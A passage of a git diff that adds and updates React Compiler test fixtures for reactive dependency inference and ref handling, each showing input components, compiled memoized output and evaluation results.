+  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: {b: null}},
+    {a: {b: {c: {d: null}}}},
+    {a: {b: {c: {d: {e: 4}}}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let t1;
+  if ($[0] !== a.b?.c.d?.e) {
+    t1 = <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+    $[0] = a.b?.c.d?.e;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [
+    { a: null },
+    { a: { b: null } },
+    { a: { b: { c: { d: null } } } },
+    { a: { b: { c: { d: { e: 4 } } } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function"},"shouldInvokeFns":true}</div>
+<div>{"fn":{"kind":"Function","result":4},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx
new file mode 100644
index 000000000000..11d5858434cc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-infer-function-uncond-optionals-hoisted.tsx
@@ -0,0 +1,16 @@
+import {Stringify} from 'shared-runtime';
+
+function useFoo({a}) {
+  return <Stringify fn={() => a.b?.c.d?.e} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: {b: null}},
+    {a: {b: {c: {d: null}}}},
+    {a: {b: {c: {d: {e: 4}}}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.expect.md
new file mode 100644
index 000000000000..91cef9220eee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.expect.md
@@ -0,0 +1,115 @@
+
+## Input
+
+```javascript
+import {
+  identity,
+  makeObject_Primitives,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * A bit of an edge case, but we could further optimize here by merging
+ * re-orderability of nodes across phis.
+ */
+function useFoo(cond) {
+  let x;
+  if (cond) {
+    /** start of scope for x_@0 */
+    x = {};
+    setPropertyByKey(x, 'a', {b: 2});
+    /** end of scope for x_@0 */
+    Math.max(x.a.b, 0);
+  } else {
+    /** start of scope for x_@1 */
+    x = makeObject_Primitives();
+    setPropertyByKey(x, 'a', {b: 3});
+    /** end of scope for x_@1 */
+    Math.max(x.a.b, 0);
+  }
+  /**
+   * At this point, we have a phi node.
+   * x_@2 = phi(x_@0, x_@1)
+   *
+   * We can assume that both x_@0 and x_@1 both have non-null `x.a` properties,
+   * so we can infer that x_@2 does as well.
+   */
+
+  // Here, y should take a dependency on `x.a.b`
+  const y = [];
+  if (identity(cond)) {
+    y.push(x.a.b);
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import {
+  identity,
+  makeObject_Primitives,
+  setPropertyByKey,
+} from "shared-runtime";
+
+/**
+ * A bit of an edge case, but we could further optimize here by merging
+ * re-orderability of nodes across phis.
+ */
+function useFoo(cond) {
+  const $ = _c(5);
+  let x;
+  if (cond) {
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      x = {};
+      setPropertyByKey(x, "a", { b: 2 });
+      $[0] = x;
+    } else {
+      x = $[0];
+    }
+
+    Math.max(x.a.b, 0);
+  } else {
+    if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+      x = makeObject_Primitives();
+      setPropertyByKey(x, "a", { b: 3 });
+      $[1] = x;
+    } else {
+      x = $[1];
+    }
+
+    Math.max(x.a.b, 0);
+  }
+  let y;
+  if ($[2] !== cond || $[3] !== x) {
+    y = [];
+    if (identity(cond)) {
+      y.push(x.a.b);
+    }
+    $[2] = cond;
+    $[3] = x;
+    $[4] = y;
+  } else {
+    y = $[4];
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
+
+```
+      
+### Eval output
+(kind: ok) [2]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.ts
new file mode 100644
index 000000000000..749b6c0a831c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/todo-merge-ssa-phi-access-nodes.ts
@@ -0,0 +1,45 @@
+import {
+  identity,
+  makeObject_Primitives,
+  setPropertyByKey,
+} from 'shared-runtime';
+
+/**
+ * A bit of an edge case, but we could further optimize here by merging
+ * re-orderability of nodes across phis.
+ */
+function useFoo(cond) {
+  let x;
+  if (cond) {
+    /** start of scope for x_@0 */
+    x = {};
+    setPropertyByKey(x, 'a', {b: 2});
+    /** end of scope for x_@0 */
+    Math.max(x.a.b, 0);
+  } else {
+    /** start of scope for x_@1 */
+    x = makeObject_Primitives();
+    setPropertyByKey(x, 'a', {b: 3});
+    /** end of scope for x_@1 */
+    Math.max(x.a.b, 0);
+  }
+  /**
+   * At this point, we have a phi node.
+   * x_@2 = phi(x_@0, x_@1)
+   *
+   * We can assume that both x_@0 and x_@1 both have non-null `x.a` properties,
+   * so we can infer that x_@2 does as well.
+   */
+
+  // Here, y should take a dependency on `x.a.b`
+  const y = [];
+  if (identity(cond)) {
+    y.push(x.a.b);
+  }
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [true],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.expect.md
new file mode 100644
index 000000000000..c91cf94445ca
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.expect.md
@@ -0,0 +1,105 @@
+
+## Input
+
+```javascript
+// x.a.b was accessed unconditionally within the mutable range of x.
+// As a result, we cannot infer anything about whether `x` or `x.a`
+// may be null. This means that it's not safe to hoist reads from x
+// (e.g. take `x.a` or `x.a.b` as a dependency).
+
+import {identity, makeObject_Primitives, setProperty} from 'shared-runtime';
+
+function Component({cond, other}) {
+  const x = makeObject_Primitives();
+  setProperty(x, {b: 3, other}, 'a');
+  identity(x.a.b);
+  if (!cond) {
+    x.a = null;
+  }
+
+  const y = [identity(cond) && x.a.b];
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false}],
+  sequentialRenders: [
+    {cond: false},
+    {cond: false},
+    {cond: false, other: 8},
+    {cond: true},
+    {cond: true},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // x.a.b was accessed unconditionally within the mutable range of x.
+// As a result, we cannot infer anything about whether `x` or `x.a`
+// may be null. This means that it's not safe to hoist reads from x
+// (e.g. take `x.a` or `x.a.b` as a dependency).
+
+import { identity, makeObject_Primitives, setProperty } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(8);
+  const { cond, other } = t0;
+  let x;
+  if ($[0] !== cond || $[1] !== other) {
+    x = makeObject_Primitives();
+    setProperty(x, { b: 3, other }, "a");
+    identity(x.a.b);
+    if (!cond) {
+      x.a = null;
+    }
+    $[0] = cond;
+    $[1] = other;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== cond || $[4] !== x) {
+    t1 = identity(cond) && x.a.b;
+    $[3] = cond;
+    $[4] = x;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1) {
+    t2 = [t1];
+    $[6] = t1;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  const y = t2;
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ cond: false }],
+  sequentialRenders: [
+    { cond: false },
+    { cond: false },
+    { cond: false, other: 8 },
+    { cond: true },
+    { cond: true },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [false]
+[false]
+[false]
+[null]
+[null]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.js
new file mode 100644
index 000000000000..c4e4819f6b8f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-access-in-mutable-range.js
@@ -0,0 +1,30 @@
+// x.a.b was accessed unconditionally within the mutable range of x.
+// As a result, we cannot infer anything about whether `x` or `x.a`
+// may be null. This means that it's not safe to hoist reads from x
+// (e.g. take `x.a` or `x.a.b` as a dependency).
+
+import {identity, makeObject_Primitives, setProperty} from 'shared-runtime';
+
+function Component({cond, other}) {
+  const x = makeObject_Primitives();
+  setProperty(x, {b: 3, other}, 'a');
+  identity(x.a.b);
+  if (!cond) {
+    x.a = null;
+  }
+
+  const y = [identity(cond) && x.a.b];
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{cond: false}],
+  sequentialRenders: [
+    {cond: false},
+    {cond: false},
+    {cond: false, other: 8},
+    {cond: true},
+    {cond: true},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.expect.md
index ffdc707d1f21..ff15f1a33602 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.expect.md
@@ -14,7 +14,7 @@ function TestNonOverlappingDescendantTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestNonOverlappingDescendantTracked,
-  params: [{ a: { x: {}, c: { x: { y: { z: 3 } } } } }],
+  params: [{a: {x: {}, c: {x: {y: {z: 3}}}}}],
 };
 
 ```
@@ -27,13 +27,13 @@ import { c as _c } from "react/compiler-runtime"; // Test that we can track non-
 function TestNonOverlappingDescendantTracked(props) {
   const $ = _c(4);
   let x;
-  if ($[0] !== props.a.x.y || $[1] !== props.a.c.x.y.z || $[2] !== props.b) {
+  if ($[0] !== props.a.c.x.y.z || $[1] !== props.a.x.y || $[2] !== props.b) {
     x = {};
     x.a = props.a.x.y;
     x.b = props.b;
     x.c = props.a.c.x.y.z;
-    $[0] = props.a.x.y;
-    $[1] = props.a.c.x.y.z;
+    $[0] = props.a.c.x.y.z;
+    $[1] = props.a.x.y;
     $[2] = props.b;
     $[3] = x;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.js
index f0edafee3f06..d80caadd4ddc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-descendant.js
@@ -10,5 +10,5 @@ function TestNonOverlappingDescendantTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestNonOverlappingDescendantTracked,
-  params: [{ a: { x: {}, c: { x: { y: { z: 3 } } } } }],
+  params: [{a: {x: {}, c: {x: {y: {z: 3}}}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.expect.md
index 21db959c98a5..206bec00e602 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.expect.md
@@ -13,7 +13,7 @@ function TestNonOverlappingTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestNonOverlappingTracked,
-  params: [{ a: { b: 2, c: 3 } }],
+  params: [{a: {b: 2, c: 3}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.js
index 23a1ddc7f889..5e490b6dc93b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-nonoverlap-direct.js
@@ -9,5 +9,5 @@ function TestNonOverlappingTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestNonOverlappingTracked,
-  params: [{ a: { b: 2, c: 3 } }],
+  params: [{a: {b: 2, c: 3}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.expect.md
index 13fa6d680eb3..8e8a14d5b195 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.expect.md
@@ -14,7 +14,7 @@ function TestOverlappingDescendantTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestOverlappingDescendantTracked,
-  params: [{ a: { b: { c: { x: { y: 5 } } } } }],
+  params: [{a: {b: {c: {x: {y: 5}}}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.js
index 860d31593ec9..77621515b082 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-descendant.js
@@ -10,5 +10,5 @@ function TestOverlappingDescendantTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestOverlappingDescendantTracked,
-  params: [{ a: { b: { c: { x: { y: 5 } } } } }],
+  params: [{a: {b: {c: {x: {y: 5}}}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.expect.md
index d0f9d45fa796..4026ef4183c3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.expect.md
@@ -14,7 +14,7 @@ function TestOverlappingTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestOverlappingTracked,
-  params: [{ a: { c: 2 } }],
+  params: [{a: {c: 2}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.js
index e3bc636ef9b3..9cef3f48ac5f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-overlap-direct.js
@@ -10,5 +10,5 @@ function TestOverlappingTracked(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestOverlappingTracked,
-  params: [{ a: { c: 2 } }],
+  params: [{a: {c: 2}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.expect.md
index a2855ad305b7..9359c712e0ea 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.expect.md
@@ -14,7 +14,7 @@ function TestDepsSubpathOrder1(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder1,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.js
index ac8e8ed25105..47fd340531b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order1.js
@@ -10,5 +10,5 @@ function TestDepsSubpathOrder1(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder1,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.expect.md
index c731aeb9075a..b2ca4576d469 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.expect.md
@@ -14,7 +14,7 @@ function TestDepsSubpathOrder2(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder2,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.js
index 53b8e1ae826f..2d6b33fcbed9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order2.js
@@ -10,5 +10,5 @@ function TestDepsSubpathOrder2(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder2,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.expect.md
index bd9df044ec5e..6af05fe26132 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.expect.md
@@ -14,7 +14,7 @@ function TestDepsSubpathOrder3(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder3,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.js
index c78ae1d833d7..1058e395fff3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/uncond-subpath-order3.js
@@ -10,5 +10,5 @@ function TestDepsSubpathOrder3(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: TestDepsSubpathOrder3,
-  params: [{ a: { b: { c: 2 } } }],
+  params: [{a: {b: {c: 2}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.expect.md
index 9113cec24bf4..b726a723cb03 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-no-added-to-dep.expect.md
@@ -20,28 +20,20 @@ function VideoTab() {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender false
 function VideoTab() {
-  const $ = _c(3);
+  const $ = _c(1);
   const ref = useRef();
   const t = ref.current;
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const x = () => {
       console.log(t);
     };
+    t0 = <VideoList videos={x} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const x = t0;
-  let t1;
-  if ($[1] !== x) {
-    t1 = <VideoList videos={x} />;
-    $[1] = x;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.expect.md
index 1681f2b53b6a..dd72a91d0870 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.expect.md
@@ -3,10 +3,10 @@
 
 ```javascript
 // @validateRefAccessDuringRender:false
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
   const val = ref.current;
-  const x = { a, val };
+  const x = {a, val};
 
   return <VideoList videos={x} />;
 }
@@ -18,28 +18,20 @@ function Foo({ a }) {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender:false
 function Foo(t0) {
-  const $ = _c(4);
+  const $ = _c(2);
   const { a } = t0;
   const ref = useRef();
   const val = ref.current;
   let t1;
   if ($[0] !== a) {
-    t1 = { a, val };
+    const x = { a, val };
+    t1 = <VideoList videos={x} />;
     $[0] = a;
     $[1] = t1;
   } else {
     t1 = $[1];
   }
-  const x = t1;
-  let t2;
-  if ($[2] !== x) {
-    t2 = <VideoList videos={x} />;
-    $[2] = x;
-    $[3] = t2;
-  } else {
-    t2 = $[3];
-  }
-  return t2;
+  return t1;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.js
index d8004a25403d..e4843de22078 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-aliased-not-added-to-dep-2.js
@@ -1,8 +1,8 @@
 // @validateRefAccessDuringRender:false
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
   const val = ref.current;
-  const x = { a, val };
+  const x = {a, val};
 
   return <VideoList videos={x} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.expect.md
index 6ca83bf4dcfc..b7f1bd6c3363 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-not-added-to-dep.expect.md
@@ -19,27 +19,19 @@ function VideoTab() {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @validateRefAccessDuringRender false
 function VideoTab() {
-  const $ = _c(3);
+  const $ = _c(1);
   const ref = useRef();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
+    const x = () => {
       console.log(ref.current.x);
     };
+    t0 = <VideoList videos={x} />;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
-  const x = t0;
-  let t1;
-  if ($[1] !== x) {
-    t1 = <VideoList videos={x} />;
-    $[1] = x;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.expect.md
index 1ca02449a2a8..179e9037de47 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ref-current-field-write-not-added-to-dep.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
-  const ref = useRef({ text: { value: null } });
-  const inputChanged = (e) => {
+  const ref = useRef({text: {value: null}});
+  const inputChanged = e => {
     ref.current.text.value = e.target.value;
   };
 
@@ -27,7 +27,7 @@ import { c as _c } from "react/compiler-runtime";
 import { useRef } from "react";
 
 function Component() {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = { text: { value: null } };
@@ -38,23 +38,15 @@ function Component() {
   const ref = useRef(t0);
   let t1;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = (e) => {
+    const inputChanged = (e) => {
       ref.current.text.value = e.target.value;
     };
+    t1 = <input onChange={inputChanged} />;
     $[1] = t1;
   } else {
     t1 = $[1];
   }
-  const inputChanged = t1;
-  let t2;
-  if ($[2] !== inputChanged) {
-    t2 = <input onChange={inputChanged} />;
-    $[2] = inputChanged;
-    $[3] = t2;
-  } else {
-    t2 = $[3];
-  }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
